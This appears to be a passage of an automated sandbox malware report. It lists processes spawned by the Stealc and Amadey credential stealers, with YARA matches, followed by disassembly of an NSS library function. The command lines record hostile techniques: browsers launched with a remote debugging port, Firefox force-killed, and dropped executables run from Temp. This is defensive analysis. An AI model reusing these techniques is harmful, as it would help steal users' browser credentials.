Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000003.1324485561.0000000005460000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.1717072391.000000000177E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.1714173625.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.1714173625.0000000000B6C000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.1717072391.00000000017D9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:55:24
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:55:25
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2140,i,6862052502615090198,14872134904114190973,262144 /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:25:49
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:25:50
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2508 --field-trial-handle=2408,i,12531536969233449593,15668057242501277560,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	04:25:50
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	04:25:50
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2028,i,14044714078481538469,7518719222076099172,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	04:25:56
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6920 --field-trial-handle=2028,i,14044714078481538469,7518719222076099172,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	04:25:56
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7084 --field-trial-handle=2028,i,14044714078481538469,7518719222076099172,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	04:26:09
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIDGIJEGHDA.exe"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	04:26:09
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	04:26:09
Start date:	18/11/2024
Path:	C:\Users\user\DocumentsIDGIJEGHDA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsIDGIJEGHDA.exe"
Imagebase:	0x150000
File size:	1'921'024 bytes
MD5 hash:	0E21EAF5F28B78B503C0C0C7BE26AD44
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.1760251445.0000000000151000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000003.1719674927.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	04:26:12
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x130000
File size:	1'921'024 bytes
MD5 hash:	0E21EAF5F28B78B503C0C0C7BE26AD44
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.1801585613.0000000000131000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000003.1759202166.0000000004F50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	04:26:12
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x130000
File size:	1'921'024 bytes
MD5 hash:	0E21EAF5F28B78B503C0C0C7BE26AD44
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.1799439345.0000000000131000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.1758850070.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	04:26:50
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6312 --field-trial-handle=2028,i,14044714078481538469,7518719222076099172,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	04:27:00
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x130000
File size:	1'921'024 bytes
MD5 hash:	0E21EAF5F28B78B503C0C0C7BE26AD44
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000002.2607160186.0000000000131000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000003.2226939126.0000000005160000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	04:27:13
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1007095001\fd5d5b30e9.exe"
Imagebase:	0x310000
File size:	4'449'792 bytes
MD5 hash:	277F5FBCA9AEC3C4207DBFE1DB4DB5E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 37%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	04:27:25
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1007104001\1e42688e0b.exe"
Imagebase:	0x770000
File size:	1'903'104 bytes
MD5 hash:	1C9BABA3863EB6E2CD1FCFCB0FB31D1F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.2579040846.0000000001453000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000002.2626591631.0000000001449000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.2570249819.0000000001453000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.2569997895.000000000144B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.2526817370.000000000144B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 34%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	04:27:30
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1007105001\36030a5366.exe"
Imagebase:	0xf00000
File size:	1'833'472 bytes
MD5 hash:	BED918183C456251EB2DEF949E77E958
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000003.2530441716.00000000058A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.2579317414.0000000000F01000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.2586073868.00000000019DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 42%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	04:27:35
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007106001\1e1f95e037.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1007106001\1e1f95e037.exe"
Imagebase:	0x190000
File size:	921'600 bytes
MD5 hash:	B651212B079AAAE7A41A35932178135F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 00000021.00000003.2563544731.0000000000B23000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 00000021.00000002.2623729686.0000000000B26000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	04:27:35
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x900000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	04:27:35
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	04:27:36
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2028,i,14044714078481538469,7518719222076099172,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	04:27:36
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1007104001\1e42688e0b.exe"
Imagebase:	0x770000
File size:	1'903'104 bytes
MD5 hash:	1C9BABA3863EB6E2CD1FCFCB0FB31D1F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 6D015920 Relevance: 195.0, APIs: 67, Strings: 44, Instructions: 711memorystringfileCOMMON

Download Yara Rule

APIs

NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6D017703,?,00000000,00000000), ref: 6D015942

Part of subcall function 6D034210: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,8FA990EB,flags,?,00000000,?,6D015947,flags,printPolicyFeedback,?,?,?,?,?,?,00000000), ref: 6D034220
Part of subcall function 6D034210: NSSUTIL_ArgGetParamValue.NSS3(?,6D015947,?,?,?,?,?,?,00000000,?,00000000,?,6D017703,?,00000000,00000000), ref: 6D03422D
Part of subcall function 6D034210: PL_strncasecmp.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6D017703), ref: 6D03424B
Part of subcall function 6D034210: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6D017703,?,00000000), ref: 6D034272

NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6D017703), ref: 6D015954
NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6D01596A
SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6D015984

Part of subcall function 6D030550: PR_GetEnvSecure.NSS3(NSS_ALLOW_WEAK_SIGNATURE_ALG,00000002,00000000,?,6D015989), ref: 6D030571
Part of subcall function 6D030550: PR_GetEnvSecure.NSS3(NSS_HASH_ALG_SUPPORT,?,00000002,00000000,?,6D015989), ref: 6D0305B7
Part of subcall function 6D030550: PORT_Strdup_Util.NSS3(00000000,?,?,00000002,00000000,?,6D015989), ref: 6D0305C8
Part of subcall function 6D030550: strchr.VCRUNTIME140(00000000,0000003B,?,?,?,00000002,00000000,?,6D015989), ref: 6D0305EC
Part of subcall function 6D030550: strstr.VCRUNTIME140(00000001,?), ref: 6D030653
Part of subcall function 6D030550: free.MOZGLUE(?,?,?,?,00000002,00000000,?,6D015989), ref: 6D030681

free.MOZGLUE(00000000), ref: 6D0159BA
NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6D0159D3
free.MOZGLUE(00000000), ref: 6D0159F5
NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6D015A0A
free.MOZGLUE(00000000), ref: 6D015A2E
NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6D015A43
free.MOZGLUE(00000000), ref: 6D015A67
NSSUTIL_ArgHasFlag.NSS3(flags,ssl-lock,00000000), ref: 6D015ABB
NSS_OptionGet.NSS3(0000000D,00000000), ref: 6D015ACD
NSS_OptionSet.NSS3(0000000D,00000000), ref: 6D015AE2
NSSUTIL_ArgHasFlag.NSS3(flags,policy-lock,00000000), ref: 6D015AFB
PR_SetEnv.NSS3(NSS_POLICY_LOADED=1), ref: 6D015B1D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6D015B27
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(NSS-POLICY-INFO: LOADED-SUCCESSFULLY,00000025,00000001,00000000), ref: 6D015B3A
NSS_GetAlgorithmPolicy.NSS3(0000002F,?), ref: 6D015B91
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6D015BB8

Part of subcall function 6CFCAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CFCAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6D015BEB
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6D015C22
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6D015C80
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6D015CAD
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6D015CDA
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6D015D07
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6D015D43
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6D015D79
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6D015DB5
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6D015DEB
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6D015E1E
PR_SetEnv.NSS3(NSS_POLICY_WARN=1), ref: 6D015E74
PR_SetEnv.NSS3(NSS_POLICY_FAIL=1), ref: 6D015E83
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6D015E8D
NSSUTIL_ArgHasFlag.NSS3(flags,internal,?), ref: 6D015FCD
NSSUTIL_ArgHasFlag.NSS3(flags,FIPS,?), ref: 6D015FDF
NSSUTIL_ArgHasFlag.NSS3(flags,critical,?), ref: 6D015FF1
NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6D015999

Part of subcall function 6D034120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D03413D
Part of subcall function 6D034120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6D034162
Part of subcall function 6D034120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D03416B
Part of subcall function 6D034120: PL_strncasecmp.NSS3(6D034232,?,00000001), ref: 6D034187
Part of subcall function 6D034120: NSSUTIL_ArgSkipParameter.NSS3(6D034232), ref: 6D0341A0
Part of subcall function 6D034120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0341B4
Part of subcall function 6D034120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6D0341CC
Part of subcall function 6D034120: NSSUTIL_ArgFetchValue.NSS3(6D034232,?), ref: 6D034203

Part of subcall function 6D017B60: NSS_SetAlgorithmPolicy.NSS3(00000159,00000010,00000000), ref: 6D017B92
Part of subcall function 6D017B60: PL_strncasecmp.NSS3(00000000,all,00000003), ref: 6D017C12
Part of subcall function 6D017B60: PL_strncasecmp.NSS3(6D1134BF,00000000,00000003), ref: 6D017C79

PR_SetEnv.NSS3(NSS_POLICY_FAIL=1), ref: 6D015A85
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6D015A8F
PORT_NewArena_Util.NSS3(00000200,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D015EAA
PORT_ArenaAlloc_Util.NSS3(00000000,00000078), ref: 6D015EC1
PR_NewLock.NSS3 ref: 6D015EFA
strlen.API-MS-WIN-CRT-STRING-L1-1-0(6D120148), ref: 6D015F1D
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6D015F2A
memcpy.VCRUNTIME140(00000000,6D120148,00000001), ref: 6D015F3B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D015F5A
PORT_ArenaAlloc_Util.NSS3(6D120148,00000001), ref: 6D015F67
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6D015F78
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D015F92
PORT_ArenaAlloc_Util.NSS3(6D120148,00000001), ref: 6D015F9F
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6D015FB0
NSSUTIL_ArgGetParamValue.NSS3(slotParams,?), ref: 6D016002
NSSUTIL_ArgParseSlotInfo.NSS3(?,00000000,?), ref: 6D016016
free.MOZGLUE(00000000), ref: 6D016026
NSSUTIL_ArgReadLong.NSS3(trustOrder,?,00000032,00000000), ref: 6D016043
NSSUTIL_ArgReadLong.NSS3(cipherOrder,?,00000000,00000000), ref: 6D01605D
NSSUTIL_ArgHasFlag.NSS3(flags,moduleDB,?), ref: 6D016074
NSSUTIL_ArgHasFlag.NSS3(flags,moduleDBOnly,?), ref: 6D016086
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6D0160A1
NSSUTIL_ArgHasFlag.NSS3(flags,skipFirst,?), ref: 6D0160C2
NSSUTIL_ArgHasFlag.NSS3(flags,defaultModDB,?), ref: 6D0160DA
NSSUTIL_ArgHasFlag.NSS3(flags,policyOnly,?), ref: 6D0160F8
NSSUTIL_ArgHasFlag.NSS3(flags,internalKeySlot,?), ref: 6D01612E
NSSUTIL_ArgGetParamValue.NSS3(ciphers,?), ref: 6D01614C
NSSUTIL_ArgParseCipherFlags.NSS3(?,00000000), ref: 6D016158
free.MOZGLUE(00000000), ref: 6D016165

Strings

enable, xrefs: 6D015A3E
INFO, xrefs: 6D015C67, 6D015C9F, 6D015CCC, 6D015CF9, 6D015D2F, 6D015D6B, 6D015DA1, 6D015DDD, 6D015E10
printPolicyFeedback, xrefs: 6D01593C
moduleDB, xrefs: 6D016069
moduleDBOnly, xrefs: 6D016080
disallow, xrefs: 6D015994
HASH, xrefs: 6D015D4C
policyOnly, xrefs: 6D0160EF
internalKeySlot, xrefs: 6D016124
NSS-POLICY-INFO: LOADED-SUCCESSFULLY, xrefs: 6D015B35
NSS-POLICY-%s: NUMBER-OF-%s: %u, xrefs: 6D015D0C, 6D015D1B, 6D015D52, 6D015D57, 6D015D88, 6D015D8D, 6D015DC4, 6D015DC9, 6D015DF7, 6D015DFC, 6D015E2E, 6D015E33
NSS_POLICY_WARN=1, xrefs: 6D015E6F
NSS_POLICY_FAIL=1, xrefs: 6D015A80, 6D015E7E
OTHER-SIGN, xrefs: 6D015E28
NSS_POLICY_LOADED=1, xrefs: 6D015B18
cipherOrder, xrefs: 6D016058
OTHER-KX, xrefs: 6D015DF1
FIPS, xrefs: 6D015FD9
policyCheckValue, xrefs: 6D015964
internal, xrefs: 6D015FC7
NSS-POLICY-FAIL: policy config parsing failed, not loading module %s, xrefs: 6D015A9B
slotParams, xrefs: 6D015FFD
defaultModDB, xrefs: 6D0160D4
MAC, xrefs: 6D015D82
disable, xrefs: 6D015A05
policy-lock, xrefs: 6D015AF1
ALL, xrefs: 6D015BC1, 6D015BF4, 6D015C2B
trustOrder, xrefs: 6D01603E
ECC, xrefs: 6D015D15
NSS-POLICY-%s: NUMBER-OF-SSL-ALG: %u, xrefs: 6D015CB4
NSS-POLICY-INFO: %s is enabled for SSL, xrefs: 6D015BF8
ssl-lock, xrefs: 6D015AB1
ciphers, xrefs: 6D016147
NSS-POLICY-%s: NUMBER-OF-SSL-ALG-KX: %u, xrefs: 6D015C87
NSS-POLICY-INFO: %s is enabled for CERT-SIGNATURE, xrefs: 6D015C2F
skipFirst, xrefs: 6D0160BC
flags, xrefs: 6D015936, 6D015941, 6D015953, 6D015969, 6D015AB6, 6D015AF6, 6D015FBE, 6D015FCC, 6D015FDE, 6D015FF0, 6D01606E, 6D016073, 6D016085, 6D0160B4, 6D0160C1, 6D0160D9, 6D0160F4, 6D016129
NSS-POLICY-FAIL: internal failure with NSS_GetAlgorithmPolicy at %u, xrefs: 6D015E97
policyCheckIdentifier, xrefs: 6D01594E
NSS-POLICY-%s: NUMBER-OF-CERT-SIG: %u, xrefs: 6D015CE1
NSS-POLICY-INFO: %s is enabled for KX, xrefs: 6D015BC5
critical, xrefs: 6D015FEB
CIPHER, xrefs: 6D015DBE
WARN, xrefs: 6D015C6C, 6D015C86, 6D015C9A, 6D015CB3, 6D015CC7, 6D015CE0, 6D015CF4, 6D015D1A, 6D015D2A, 6D015D51, 6D015D66, 6D015D87, 6D015D9C, 6D015DC3, 6D015DD8, 6D015DF6, 6D015E0B, 6D015E2D

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

